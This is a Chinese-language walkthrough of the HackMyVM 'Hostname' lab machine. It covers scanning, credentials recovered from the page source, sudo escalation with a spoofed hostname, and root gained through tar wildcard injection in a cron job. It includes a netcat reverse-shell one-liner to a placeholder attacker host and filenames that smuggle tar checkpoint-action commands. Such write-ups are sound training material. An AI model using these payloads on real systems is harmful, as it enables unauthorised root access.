HackMyVM-hostname
难度:简单
链接:https://hackmyvm.eu/machines/machine.php?vm=Hostname
这台靶机是上周刚刚发布的一台靶机,其中一处的提取手法对个人而言很是新颖,所以想记录一下
攻击手法:
主机发现
端口扫描
sudo提权(伪造主机名)
古老的通配符提权
信息收集阶段
主机发现
zhy@zhy-pc ~ % sudo arp-scan -l
Interface: wlan0, type: EN10MB, MAC: dc:1b:a1:ba:dd:3f, IPv4: 192.168.1.100
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 30:fc:68:d2:72:bc TP-LINK TECHNOLOGIES CO.,LTD.
192.168.1.101 08:00:27:85:91:f2 PCS Systemtechnik GmbH
192.168.1.108 0c:70:4a:91:41:1e HUAWEI TECHNOLOGIES CO.,LTD
192.168.1.102 14:85:7f:c4:37:0e (Unknown)
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.966 seconds (130.21 hosts/sec). 4 responded
端口扫描
开放了22和80端口
zhy@zhy-pc ~ % sudo nmap -p- -Pn 192.168.1.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 10:19 CST
Nmap scan report for warzone.local (192.168.1.101)
Host is up (0.000076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:85:91:F2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
zhy@zhy-pc ~ % sudo nmap -p22,80 -A -Pn 192.168.1.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 10:19 CST
Nmap scan report for warzone.local (192.168.1.101)
Host is up (0.00073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Panda
MAC Address: 08:00:27:85:91:F2 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.73 ms warzone.local (192.168.1.101)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
web信息
发现web界面,发现需要提交Secret Word,对web界面进行有价值的信息收集
查看页面源码发现一段base64编码信息,button标签被打上了disabled属性,这就意味禁用该参数,但是内容不是disabled而是po
<div class="form-group">
<p class="alert">Give Some Input..!!</p>
<!-- Kung Fu Panda -->
<button class="btn" name="username" disabled="po">Read</button>
</div>
</form>
<link rel="stylesheet" href="./assets/cool.css"><br><br>
<h2 style="font-size:4vw"><span>I</span>M<span>POSSIBLE</span></h2>
<script crossorigin="S3VuZ19GdV9QNG5kYQ==" src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src="./assets/script.js"></script>
对base64编码信息进行解码,猜测是我们需要提交的Secret Word
255 zhy@zhy-pc ~ % echo "S3VuZ19GdV9QNG5kYQ==" | base64 -d
Kung_Fu_P4nda
将button标签disabled属性抹出后提交解码后的内容,弹窗现实了一串内容,猜测为22端口ssh服务的密码
尝试是用ssh服务进行登陆,用户名猜测为disabled内容po
zhy@zhy-pc ~ % ssh po@192.168.1.101
po@192.168.1.101's password:
Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 12 21:38:18 2022 from 192.168.1.100
po@hostname:~$
提权
查看linux版本以及内核,无法利用内核漏洞进行提权
po@hostname:~$ uname -a
Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 GNU/Linux
sudo 提权,无法进行提权
显示不能运行在主机hostname上
po@hostname:~$ sudo -l
[sudo] password for po:
Sorry, user po may not run sudo on hostname.
po@hostname:~$
计划任务提权
发现存在一项每分钟执行的计划任务,而且使用tar命令使用了通配符
po@hostname:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root cd /opt/secret/ && tar -zcf /var/backups/secret.tgz *
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
进入到/opt/secret目录下,发现po用户并没有写入权限,需要提权到oogway
po@hostname:/opt/secret$ ls -la
total 20
drwxrwxr-x 2 root oogway 4096 May 12 21:46 .
drwxrwxr-x 3 root oogway 4096 Apr 21 14:27 ..
po@hostname:/opt/secret$
进行sudo提权时提示 may not run sudo on hostname
以此为基础进行内网信息收集
po@hostname:/etc$ ls -la | grep sudo
-rw-r--r-- 1 root root 3975 Feb 27 2021 sudo.conf
-r--r----- 1 root root 669 Feb 27 2021 sudoers
drwxr-xr-x 2 root root 4096 Apr 21 10:02 sudoers.d
-rw-r--r-- 1 root root 6169 Feb 27 2021 sudo_logsrvd.conf
发现suoers.d目录我们是可以访问的(一般情况是不允许普通用户访问)
po@hostname:/etc$ cd sudoers.d/
po@hostname:/etc/sudoers.d$ ls
po README
po@hostname:/etc/sudoers.d$ cat po
po HackMyVM = (oogway) NOPASSWD: /bin/bash
查看文件里po内容,是允许po在HackMyVM主机名下不需要输入密码使用oogway用户执行/bin/bash命令
使用sudo命令提权
po@hostname:/etc/sudoers.d$ sudo -u oogway -h HackMyVM /bin/bash
sudo: unable to resolve host HackMyVM: Name or service not known
oogway@hostname:/etc/sudoers.d$ id
uid=1001(oogway) gid=1001(oogway) groups=1001(oogway)
oogway@hostname:/etc/sudoers.d$
虽然提示未知的服务名字,但是命令还是执行成功提升为了oogway权限
查看flag
oogway@hostname:~$ pwd
/home/oogway
oogway@hostname:~$ cat user.txt
081ecc5e6dd6ba***********0e62ec50
通配符提权
攻击机上开启监听
nc -nvlp port
/opt/secret下执行命令
echo "mkfifo /tmp/lhennp; nc hackip hackport 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
等待回连
zhy@zhy-pc ~ % nc -nvlp port
Connection from 192.168.1.101:59670
python3 -c "import pty;pty.spawn('/bin/bash')"
root@hostname:/opt/secret# id
id
uid=0(root) gid=0(root) groups=0(root)
提升shell
python3 -c "import pty;pty.spawn('/bin/bash')"
查看oogway下的flag
root@hostname:~# pwd
pwd
/root
root@hostname:~# cat root.txt
cat root.txt
d5806296126a********aa172ff9c9151
总结:
靶机难度不难,主要是两个提权过程,sudo提权对本人来说是收获了一种新的姿势,通配符提权已经是老生常谈的一种提权姿势,新老结合,蛮有趣的。